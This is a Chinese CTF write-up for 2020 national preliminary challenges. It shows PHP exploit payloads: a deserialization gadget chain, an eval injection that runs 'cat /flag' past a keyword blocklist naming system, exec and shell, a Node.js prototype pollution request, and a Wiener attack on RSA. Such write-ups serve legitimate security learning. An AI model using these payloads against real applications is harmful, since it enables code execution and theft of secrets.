2020年國賽初賽的writeup,包含以下題目:
Web的有easyphp、babyunserialize、easytrick、rceme
Crypto的有bd
Web
easyphp
<?php
//題目環境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
查看PHP手冊中關於pcntl_wait
的介紹
wait函數刮(掛)起當前進程的執行直到一個子進程退出或接收到一個信號要求中斷當前進程或調用一個信號處理函數。
主進程掛起,等待子進程返回或調用一個信號處理函數。
我們在子進程調用信號處理函數時,主進程就會繼續執行。
Payload 1: /?a=call_user_func&b=pcntl_wait
Payload 2: /?a=call_user_func&b=pcntl_waitpid
顯示phpinfo頁面后看到環境變量中有flag
babyunserialize
用SourceLeakHacker
掃描,掃到根目錄下有www.zip
備份文件,打開查看源碼。
用Sublime打開解壓后的文件夾,會看到左側欄中會顯示修改標記,與上一次git對比修改了哪些地方。
index.php可以看到是一個反序列化。
<?php
// Kickstart the framework
$f3=require('lib/base.php');
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
$f3->route('GET /',
function($f3) {
echo "may be you need /?flag=";
}
);
unserialize($_GET['flag']);
$f3->run();
全局搜索__wakeup
,__construct
,__destruct
這三個魔術方法,看哪個類有可以構造出反序列化鏈。
./lib/cli/ws.php的第409行,Agent類的__destruct有動態調用,可以當作反序列化鏈的入口。
class Agent {
...
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
...
再找一個類來賦值,看./lib/db/sql/mapper.php
class Mapper extends \DB\Cursor {
...
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
這里函數名就可控了,最后Payload如下
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"call_user_func"],
$adhoc=["phpinfo"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;
}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}
這題和WMCTF 2020的webweb幾乎一樣。
easytrick
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太長了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
反序列化出兩個變量trick1和trick2,通過三個比較即可拿flag。
要求strlen長度小於等於5,trick1經過string類型強制轉換,然后trick1和trick2松散比較和嚴格比較下都不等,但md5函數輸出相等。
剛開始想到的是(string)(array())
和字符串'Array'
相等,但在松散比較下,它們也是相等的,不符合條件。
還有0e
開頭的md5值,但這里md5比較是嚴格比較,行不通。
仔細思考,md5函數接收的參數類型是string,會隱式類型轉換為string。而松散比較下,一般也是轉換為string進行比較,這里就很難產生一個等而另一個不等的情況。
翻看PHP手冊,里面有一段話
如果比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換為數值並且比較按照數值來進行。
這里就看到如果是數字,松散比較的時候是轉換成數字進行比較
<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true
手冊里還有很多有趣的例子,但我們要找的是松散比較下不等的。
浮點數精度問題,在轉換時會出現損失精度,而比較時卻沒有損失。
<?php
var_dump(strlen((string)0.1)); // 3
var_dump(strlen(0.100000000000001)); // 3
var_dump((string)0.1 !== 0.100000000000001); // true
var_dump(md5((string)0.1) === md5(0.100000000000001)); // true
var_dump((string)0.1 != 0.100000000000001); // true
Payload: ?trick=O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.100000000000001;}
看了其他人的writeup,還可以用NAN
,還有INF
rceme
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,執行出錯,發現危險字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,執行出錯,發現危險字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有錯誤的判斷,請修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有錯誤的判斷,請修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
將用戶輸入用正則表達式/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/
提取,然后替換一些字符串,用eval執行。
那么我們按照這個正則表達式的規范,同時繞過替換過濾即可。
可以用PHP7的特性,字符串后面加括號即可當函數執行,如('phpinfo')()
而字符串可以用句號.連接起來,繞過關鍵字檢測。
Payload: /?a={if:var_dump(('ex'.'ec')('cat /flag'))}a{end if}
littlegame
下載源碼,是nodejs的,進入app/route/index.js查看主頁面邏輯
const setFn = require('set-value');
...
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
...
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
...
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
主要就這三個API,考慮原型鏈污染,給Admin增加屬性並賦值,就可以通過密碼判斷。
看到第2行有個路由,定義了setFn函數,進入set-value看看。
在這個網站可以查看各種庫是否存在漏洞。
通過./app/node_modules/set-value/package.json可以看到版本是3.0.0
在./app/node_modules/set-value/index.js中,有merge,就可以造成原型鏈污染
function result(target, path, value, merge) {
if (merge && isPlain(target[path]) && isPlain(value)) {
target[path] = merge({}, target[path], value);
} else {
target[path] = value;
}
}
如果我們傳入NewAttributeKey
和NewAttributeValue
,他最終會進行merge()
操作,req
的原型是Object,而Admin
的原型也是Object,修改req的原型,即可實現原型鏈污染。
通過給/Privilege頁面POST參數NewAttributeKey
和NewAttributeValue
{"NewAttributeKey":"__proto__.password","NewAttributeValue":"123"}
注意這里的Content-Type得設置成application/json
然后再POST訪問/DeveloperControlPanel
{"key":"password","password":"123"}
即可獲取flag
Crypto
bd
原題給的RSA加密腳本
from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p-1) * (q-1)
while True:
d = getRandomNBitInteger(200)
if GCD(d, phi) == 1:
e = inverse(d, phi)
break
c = pow(m, e, N)
print(c, e, N, sep='\n')
# 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
# 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
# 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
可以發現e過大,則d就可能比較小,導致Wiener Attack維納攻擊,參考鏈接
解密腳本如下
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import *
def wiener_hack(e, n):
# firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
discr = s * s - 4 * n
if (discr >= 0):
t = Arithmetic.is_perfect_square(discr)
if t != -1 and (s + t) % 2 == 0:
print("Hacked!")
return d
return False
c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
d = wiener_hack(e,n)
print d
m = pow(c,d,n)
print long_to_bytes(m)